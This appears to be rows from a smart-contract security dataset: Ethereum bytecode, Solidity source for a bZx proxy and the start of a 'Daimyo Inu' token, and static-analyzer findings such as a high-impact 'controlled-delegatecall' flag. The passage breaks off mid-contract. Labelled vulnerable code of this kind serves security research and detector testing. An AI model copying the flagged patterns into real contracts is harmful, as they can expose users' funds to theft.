0602001906020020151600b60008584815181101515610d9857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610dc557600080fd5b8181815181101515610dd357fe5b90602001906020020151600b60008584815181101515610def57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e2057fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610e6257fe5b906020019060200201516040518082815260200191505060405180910390a2600101610d65565b505050565b600160a060020a031660009081526008602052604090205490565b600154600090600160a060020a03163314610ec357600080fd5b60075460ff1615610ed357600080fd5b6007805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f33575060008551115b8015610f4f5750336000908152600a602052604090205460ff16155b8015610f695750336000908152600b602052604090205442115b1515610f7457600080fd5b610f88846305f5e10063ffffffff611f3016565b9350610f9e855185611f3090919063ffffffff16565b33600090815260086020526040902054909250821115610fbd57600080fd5b5060005b8451811015611154578481815181101515610fd857fe5b90602001906020020151600160a060020a03166000141580156110305750600a6000868381518110151561100857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110775750600b6000868381518110151561104957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561108257600080fd5b6110c78460086000888581518110151561109857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f2116565b6008600087848151811015156110d957fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061110a57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612303833981519152866040518082815260200191505060405180910390a3600101610fc1565b33600090815260086020526040902054611174908363ffffffff611f0f16565b33600090815260086020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109a15780601f10610976576101008083540402835291602001916109a1565b600154600160a060020a0316331461120757600080fd5b60008111801561122f5750600160a060020a0382166000908152600860205260409020548111155b151561123a57600080fd5b600160a060020a038216600090815260086020526040902054611263908263ffffffff611f0f16565b600160a060020a03831660009081526008602052604090205560055461128f908263ffffffff611f0f16565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600060606000831180156112f95750336000908152600a602052604090205460ff16155b801561131e5750600160a060020a0384166000908152600a602052604090205460ff16155b80156113385750336000908152600b602052604090205442115b801561135b5750600160a060020a0384166000908152600b602052604090205442115b151561136657600080fd5b61136f84611f5b565b156113865761137f848483611f63565b9150611391565b61137f8484836121a7565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156113ce5750336000908152600a602052604090205460ff16155b80156113f35750600160a060020a0384166000908152600a602052604090205460ff16155b801561140d5750336000908152600b602052604090205442115b80156114305750600160a060020a0384166000908152600b602052604090205442115b151561143b57600080fd5b61144484611f5b565b1561145b57611454848484611f63565b9050610c14565b6114548484846121a7565b600154600090600160a060020a0316331461148057600080fd5b825160001061148e57600080fd5b5060005b8251811015610e895782818151811015156114a957fe5b60209081029091010151600160a060020a031615156114c757600080fd5b81600a600085848151811015156114da57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061151a57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611492565b600b6020526000908152604090205481565b600154600160a060020a0316331461159957600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60008060008085511180156115df575083518551145b80156115fb5750336000908152600a602052604090205460ff16155b80156116155750336000908152600b602052604090205442115b151561162057600080fd5b5060009050805b8451811015611782576000848281518110151561164057fe5b906020019060200201511180156116785750848181518110151561166057fe5b90602001906020020151600160a060020a0316600014155b80156116b95750600a6000868381518110151561169157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117005750600b600086838151811015156116d257fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561170b57600080fd5b6117376305f5e100858381518110151561172157fe5b602090810290910101519063ffffffff611f3016565b848281518110151561174557fe5b6020908102909101015283516117789085908390811061176157fe5b60209081029091010151839063ffffffff611f2116565b9150600101611627565b3360009081526008602052604090205482111561179e57600080fd5b5060005b8451811015611154576117d884828151811015156117bc57fe5b9060200190602002015160086000888581518110151561109857fe5b6008600087848151811015156117ea57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061181b57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612303833981519152868481518110151561185557fe5b906020019060200201516040518082815260200191505060405180910390a36001016117a2565b60015460009081908190600160a060020a0316331461189a57600080fd5b600085511180156118ac575083518551145b15156118b757600080fd5b5060009050805b8451811015611b3c57600084828151811015156118d757fe5b9060200190602002015111801561190f575084818151811015156118f757fe5b90602001906020020151600160a060020a0316600014155b80156119505750600a6000868381518110151561192857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156119975750600b6000868381518110151561196957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119a257600080fd5b6119b86305f5e100858381518110151561172157fe5b84828151811015156119c657fe5b6020908102909101015283518490829081106119de57fe5b906020019060200201516008600087848151811015156119fa57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611a2857600080fd5b611a848482815181101515611a3957fe5b90602001906020020151600860008885815181101515611a5557fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f0f16565b600860008784815181101515611a9657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611acb9085908390811061176157fe5b915033600160a060020a03168582815181101515611ae557fe5b90602001906020020151600160a060020a03166000805160206123038339815191528684815181101515611b1557fe5b906020019060200201516040518082815260200191505060405180910390a36001016118be565b33600090815260086020526040902054611174908363ffffffff611f2116565b600154600160a060020a03163314611b7357600080fd5b600160a060020a0381161515611b8857600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c125750336000908152600a602052604090205460ff16155b8015611c375750600160a060020a0385166000908152600a602052604090205460ff16155b8015611c515750336000908152600b602052604090205442115b8015611c745750600160a060020a0385166000908152600b602052604090205442115b1515611c7f57600080fd5b611c8885611f5b565b15611ef95733600090815260086020526040902054841115611ca957600080fd5b33600090815260086020526040902054611cc9908563ffffffff611f0f16565b3360009081526008602052604080822092909255600160a060020a03871681522054611cfb908563ffffffff611f2116565b600160a060020a038616600081815260086020908152604080832094909455925185519293919286928291908401908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611ddf578181015183820152602001611dc7565b50505050905090810190601f168015611e0c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611e2c57fe5b826040518082805190602001908083835b60208310611e5c5780518252601f199092019160209182019101611e3d565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206123038339815191529181900360200190a3506001611f07565b611f048585856121a7565b90505b949350505050565b600082821115611f1b57fe5b50900390565b600082820183811015610c1457fe5b600080831515611f435760009150611391565b50828202828482811515611f5357fe5b0414610c1457fe5b6000903b1190565b336000908152600860205260408120548190841115611f8157600080fd5b33600090815260086020526040902054611fa1908563ffffffff611f0f16565b3360009081526008602052604080822092909255600160a060020a03871681522054611fd3908563ffffffff611f2116565b600160a060020a03861660008181526008602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015612071578181015183820152602001612059565b50505050905090810190601f16801561209e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106121075780518252601f1990920191602091820191016120e8565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206123038339815191529181900360200190a3506001949350505050565b336000908152600860205260408120548311156121c357600080fd5b336000908152600860205260409020546121e3908463ffffffff611f0f16565b3360009081526008602052604080822092909255600160a060020a03861681522054612215908463ffffffff611f2116565b600160a060020a0385166000908152600860209081526040918290209290925551835184928291908401908083835b602083106122635780518252601f199092019160209182019101612244565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206123038339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582000c726d65b447927f03446f738cdb766bdfd61dd4ede50243530b9e9dbc7b4520029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,181 |
0x86343be63c60ce182d8b5ac6a84f0722d8d61ae5
|
/*
Copyright 2018 bZeroX, LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
contract GasTracker {
uint internal gasUsed;
modifier tracksGas() {
gasUsed = gasleft();
_;
gasUsed = 0;
}
}
contract BZxObjects {
struct LoanOrder {
address maker;
address loanTokenAddress;
address interestTokenAddress;
address collateralTokenAddress;
address feeRecipientAddress;
address oracleAddress;
uint loanTokenAmount;
uint interestAmount;
uint initialMarginAmount;
uint maintenanceMarginAmount;
uint lenderRelayFee;
uint traderRelayFee;
uint expirationUnixTimestampSec;
bytes32 loanOrderHash;
}
struct LoanRef {
bytes32 loanOrderHash;
address trader;
}
struct LoanPosition {
address lender;
address trader;
address collateralTokenAddressFilled;
address positionTokenAddressFilled;
uint loanTokenAmountFilled;
uint collateralTokenAmountFilled;
uint positionTokenAmountFilled;
uint loanStartUnixTimestampSec;
uint index;
bool active;
}
struct InterestData {
address lender;
address interestTokenAddress;
uint interestTotalAccrued;
uint interestPaidSoFar;
}
event LogLoanTaken (
address lender,
address trader,
address collateralTokenAddressFilled,
address positionTokenAddressFilled,
uint loanTokenAmountFilled,
uint collateralTokenAmountFilled,
uint positionTokenAmountFilled,
uint loanStartUnixTimestampSec,
bool active,
bytes32 loanOrderHash
);
event LogLoanCancelled(
address maker,
uint cancelLoanTokenAmount,
uint remainingLoanTokenAmount,
bytes32 loanOrderHash
);
event LogLoanClosed(
address lender,
address trader,
bool isLiquidation,
bytes32 loanOrderHash
);
event LogPositionTraded(
bytes32 loanOrderHash,
address trader,
address sourceTokenAddress,
address destTokenAddress,
uint sourceTokenAmount,
uint destTokenAmount
);
event LogMarginLevels(
bytes32 loanOrderHash,
address trader,
uint initialMarginAmount,
uint maintenanceMarginAmount,
uint currentMarginAmount
);
event LogWithdrawProfit(
bytes32 loanOrderHash,
address trader,
uint profitWithdrawn,
uint remainingPosition
);
event LogPayInterest(
bytes32 loanOrderHash,
address lender,
address trader,
uint amountPaid,
uint totalAccrued
);
function buildLoanOrderStruct(
bytes32 loanOrderHash,
address[6] addrs,
uint[9] uints)
internal
pure
returns (LoanOrder) {
return LoanOrder({
maker: addrs[0],
loanTokenAddress: addrs[1],
interestTokenAddress: addrs[2],
collateralTokenAddress: addrs[3],
feeRecipientAddress: addrs[4],
oracleAddress: addrs[5],
loanTokenAmount: uints[0],
interestAmount: uints[1],
initialMarginAmount: uints[2],
maintenanceMarginAmount: uints[3],
lenderRelayFee: uints[4],
traderRelayFee: uints[5],
expirationUnixTimestampSec: uints[6],
loanOrderHash: loanOrderHash
});
}
}
contract BZxStorage is BZxObjects, ReentrancyGuard, Ownable, GasTracker {
uint internal constant MAX_UINT = 2**256 - 1;
address public bZRxTokenContract;
address public vaultContract;
address public oracleRegistryContract;
address public bZxTo0xContract;
bool public DEBUG_MODE = false;
mapping (bytes32 => LoanOrder) public orders; // mapping of loanOrderHash to taken loanOrders
mapping (address => bytes32[]) public orderList; // mapping of lenders and trader addresses to array of loanOrderHashes
mapping (bytes32 => address) public orderLender; // mapping of loanOrderHash to lender address
mapping (bytes32 => address[]) public orderTraders; // mapping of loanOrderHash to array of trader addresses
mapping (bytes32 => uint) public orderFilledAmounts; // mapping of loanOrderHash to loanTokenAmount filled
mapping (bytes32 => uint) public orderCancelledAmounts; // mapping of loanOrderHash to loanTokenAmount cancelled
mapping (address => address) public oracleAddresses; // mapping of oracles to their current logic contract
mapping (bytes32 => mapping (address => LoanPosition)) public loanPositions; // mapping of loanOrderHash to mapping of traders to loanPositions
mapping (bytes32 => mapping (address => uint)) public interestPaid; // mapping of loanOrderHash to mapping of traders to amount of interest paid so far to a lender
LoanRef[] public loanList; // array of loans that need to be checked for liquidation or expiration
}
contract Proxiable {
mapping (bytes4 => address) public targets;
function initialize(address _target) public;
function _replaceContract(address _target) internal {
// bytes4(keccak256("initialize(address)")) == 0xc4d66de8
require(_target.delegatecall(0xc4d66de8, _target), "Proxiable::_replaceContract: failed");
}
}
contract BZxProxy is BZxStorage, Proxiable {
function() public {
address target = targets[msg.sig];
bytes memory data = msg.data;
assembly {
let result := delegatecall(gas, target, add(data, 0x20), mload(data), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
function initialize(
address)
public
{
revert();
}
/*
* Owner only functions
*/
function replaceContract(
address _target)
public
onlyOwner
{
_replaceContract(_target);
}
function setTarget(
string _funcId, // example: "takeLoanOrderAsTrader(address[6],uint256[9],address,uint256,bytes)"
address _target) // logic contract address
public
onlyOwner
returns(bytes4)
{
bytes4 f = bytes4(keccak256(abi.encodePacked(_funcId)));
targets[f] = _target;
return f;
}
function setBZxAddresses(
address _bZRxToken,
address _vault,
address _oracleregistry,
address _exchange0xWrapper)
public
onlyOwner
{
if (_bZRxToken != address(0) && _vault != address(0) && _oracleregistry != address(0) && _exchange0xWrapper != address(0))
bZRxTokenContract = _bZRxToken;
vaultContract = _vault;
oracleRegistryContract = _oracleregistry;
bZxTo0xContract = _exchange0xWrapper;
}
function setDebugMode (
bool _debug)
public
onlyOwner
{
if (DEBUG_MODE != _debug)
DEBUG_MODE = _debug;
}
function setBZRxToken (
address _token)
public
onlyOwner
{
if (_token != address(0))
bZRxTokenContract = _token;
}
function setVault (
address _vault)
public
onlyOwner
{
if (_vault != address(0))
vaultContract = _vault;
}
function setOracleRegistry (
address _registry)
public
onlyOwner
{
if (_registry != address(0))
oracleRegistryContract = _registry;
}
function setOracleReference (
address _oracle,
address _logicContract)
public
onlyOwner
{
if (oracleAddresses[_oracle] != _logicContract)
oracleAddresses[_oracle] = _logicContract;
}
function set0xExchangeWrapper (
address _wrapper)
public
onlyOwner
{
if (_wrapper != address(0))
bZxTo0xContract = _wrapper;
}
/*
* View functions
*/
function getTarget(
string _funcId) // example: "takeLoanOrderAsTrader(address[6],uint256[9],address,uint256,bytes)"
public
view
returns (address)
{
return targets[bytes4(keccak256(abi.encodePacked(_funcId)))];
}
}
|
0x60806040526004361061017f5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663093983bd811461020b5780630dc2e4391461023f57806316a6bff6146102745780631df04b72146102965780632274346b146102b157806335dc7c38146102c657806350e4b0691461034c5780636817031b1461036d578063715018a61461038e57806371eb125e146103a35780637621710c146103c4578063779dec5b146103fd5780638165354e146104125780638638aa65146104335780638811e1911461045c5780638da5cb5b146104765780639c3f1e901461048b578063a812d41c14610588578063b7a025f9146105be578063bedaa624146105d3578063c11296fc146105f4578063c4d66de814610675578063cce37f3e14610696578063d9fd7341146106ae578063da1b620b146106c6578063de3f26eb1461071f578063e7be561714610734578063f2fde38b1461075b578063f4fb9b2f1461077c578063fb08fdaa146107a0575b34801561018b57600080fd5b5060008035600160e060020a031916815260106020908152604080832054815136601f8101859004850282018501909352828152600160a060020a039091169360609391929091819084018382808284378201915050505050509050600080825160208401855af43d604051816000823e828015610207578282f35b8282fd5b34801561021757600080fd5b506102236004356107c1565b60408051600160a060020a039092168252519081900360200190f35b34801561024b57600080fd5b50610272600160a060020a03600435811690602435811690604435811690606435166107dc565b005b34801561028057600080fd5b50610223600160e060020a0319600435166108a1565b3480156102a257600080fd5b506102236004356024356108bc565b3480156102bd57600080fd5b506102236108f3565b3480156102d257600080fd5b506102ea600435600160a060020a0360243516610902565b60408051600160a060020a039b8c168152998b1660208b0152978a1689890152959098166060880152608087019390935260a086019190915260c085015260e08401526101008301939093529115156101208201529051908190036101400190f35b34801561035857600080fd5b50610272600160a060020a0360043516610972565b34801561037957600080fd5b50610272600160a060020a03600435166109bc565b34801561039a57600080fd5b50610272610a07565b3480156103af57600080fd5b50610223600160a060020a0360043516610a7d565b3480156103d057600080fd5b506103dc600435610a98565b60408051928352600160a060020a0390911660208301528051918290030190f35b34801561040957600080fd5b50610223610acd565b34801561041e57600080fd5b50610272600160a060020a0360043516610adc565b34801561043f57600080fd5b50610448610b27565b604080519115158252519081900360200190f35b34801561046857600080fd5b506102726004351515610b48565b34801561048257600080fd5b50610223610bcb565b34801561049757600080fd5b506104a3600435610bdf565b604051808f600160a060020a0316600160a060020a031681526020018e600160a060020a0316600160a060020a031681526020018d600160a060020a0316600160a060020a031681526020018c600160a060020a0316600160a060020a031681526020018b600160a060020a0316600160a060020a031681526020018a600160a060020a0316600160a060020a0316815260200189815260200188815260200187815260200186815260200185815260200184815260200183815260200182600019166000191681526020019e50505050505050505050505050505060405180910390f35b34801561059457600080fd5b506105ac600435600160a060020a0360243516610c63565b60408051918252519081900360200190f35b3480156105ca57600080fd5b50610223610c80565b3480156105df57600080fd5b50610272600160a060020a0360043516610c8f565b34801561060057600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261065894369492936024939284019190819084018382808284375094975050509235600160a060020a03169350610cda92505050565b60408051600160e060020a03199092168252519081900360200190f35b34801561068157600080fd5b50610272600160a060020a0360043516610df8565b3480156106a257600080fd5b506105ac600435610dfd565b3480156106ba57600080fd5b506105ac600435610e0f565b3480156106d257600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610223943694929360249392840191908190840183828082843750949750610e219650505050505050565b34801561072b57600080fd5b50610223610f11565b34801561074057600080fd5b50610272600160a060020a0360043581169060243516610f20565b34801561076757600080fd5b50610272600160a060020a0360043516610f93565b34801561078857600080fd5b506105ac600160a060020a0360043516602435610fb8565b3480156107ac57600080fd5b50610272600160a060020a0360043516610fe8565b600860205260009081526040902054600160a060020a031681565b6000546101009004600160a060020a031633146107f857600080fd5b600160a060020a038416158015906108185750600160a060020a03831615155b801561082c5750600160a060020a03821615155b80156108405750600160a060020a03811615155b156108615760028054600160a060020a031916600160a060020a0386161790555b60038054600160a060020a03948516600160a060020a03199182161790915560048054938516938216939093179092556005805491909316911617905550565b601060205260009081526040902054600160a060020a031681565b6009602052816000526040600020818154811015156108d757fe5b600091825260209091200154600160a060020a03169150829050565b600354600160a060020a031681565b600d6020908152600092835260408084209091529082529020805460018201546002830154600384015460048501546005860154600687015460078801546008890154600990990154600160a060020a039889169997891698968716979590961695939492939192909160ff168a565b6000546101009004600160a060020a0316331461098e57600080fd5b600160a060020a038116156109b95760058054600160a060020a031916600160a060020a0383161790555b50565b6000546101009004600160a060020a031633146109d857600080fd5b600160a060020a038116156109b95760038054600160a060020a038316600160a060020a031990911617905550565b6000546101009004600160a060020a03163314610a2357600080fd5b60008054604051610100909104600160a060020a0316917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805474ffffffffffffffffffffffffffffffffffffffff0019169055565b600c60205260009081526040902054600160a060020a031681565b600f805482908110610aa657fe5b600091825260209091206002909102018054600190910154909150600160a060020a031682565b600254600160a060020a031681565b6000546101009004600160a060020a03163314610af857600080fd5b600160a060020a038116156109b95760048054600160a060020a038316600160a060020a031990911617905550565b60055474010000000000000000000000000000000000000000900460ff1681565b6000546101009004600160a060020a03163314610b6457600080fd5b60055460ff74010000000000000000000000000000000000000000909104161515811515146109b95760058054821515740100000000000000000000000000000000000000000274ff00000000000000000000000000000000000000001990911617905550565b6000546101009004600160a060020a031681565b600660208190526000918252604090912080546001820154600283015460038401546004850154600586015496860154600787015460088801546009890154600a8a0154600b8b0154600c8c0154600d909c0154600160a060020a039b8c169d9a8c169c998c169b9889169a9789169997909816979596949593949293919290918e565b600e60209081526000928352604080842090915290825290205481565b600554600160a060020a031681565b6000546101009004600160a060020a03163314610cab57600080fd5b600160a060020a038116156109b95760028054600160a060020a038316600160a060020a031990911617905550565b6000805481906101009004600160a060020a03163314610cf957600080fd5b836040516020018082805190602001908083835b60208310610d2c5780518252601f199092019160209182019101610d0d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600160e060020a03198116600090815260109092529290208054600160a060020a031916600160a060020a0398909816979097179096559695505050505050565b600080fd5b600a6020526000908152604090205481565b600b6020526000908152604090205481565b600060106000836040516020018082805190602001908083835b60208310610e5a5780518252601f199092019160209182019101610e3b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610ebd5780518252601f199092019160209182019101610e9e565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600160e060020a03191686528501959095529290920160002054600160a060020a031695945050505050565b600454600160a060020a031681565b6000546101009004600160a060020a03163314610f3c57600080fd5b600160a060020a038281166000908152600c6020526040902054811690821614610f8f57600160a060020a038281166000908152600c602052604090208054600160a060020a0319169183169190911790555b5050565b6000546101009004600160a060020a03163314610faf57600080fd5b6109b98161100d565b600760205281600052604060002081815481101515610fd357fe5b90600052602060002001600091509150505481565b6000546101009004600160a060020a0316331461100457600080fd5b6109b981611095565b600160a060020a038116151561102257600080fd5b60008054604051600160a060020a038085169361010090930416917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b604080517fc4d66de8000000000000000000000000000000000000000000000000000000008152600160a060020a03831660048201819052915163c4d66de8916024808201926000929091908290030181865af49250505015156109b957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f50726f786961626c653a3a5f7265706c616365436f6e74726163743a2066616960448201527f6c65640000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd00a165627a7a723058203ade45472ee75d7ab0d0b5d44aa20535ea9c225c19c15d3f7c230b8a55606f670029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 4,182 |
0x3f88626ea113b98517e099784ab15323b3fcba39
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
// Telegram: https://t.me/daimyoinutoken
// Website: https://daimyoinu.com/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Daimyo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private time;
uint256 private _tax;
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private fee1=90;
uint256 private fee2=90;
uint256 private liqfee=20;
uint256 private feeMax=100;
string private constant _name = "Daimyo Inu";
string private constant _symbol = "DAIMYO";
uint256 private _maxTxAmount = _tTotal.mul(75).div(10000);
uint256 private minBalance = _tTotal.div(1000);
uint8 private constant _decimals = 9;
address payable private _feeAddrWallet1;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_feeAddrWallet1 = payable(msg.sender);
_tOwned[address(this)] = _tTotal.div(2);
_tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0),address(this),_tTotal.div(2));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
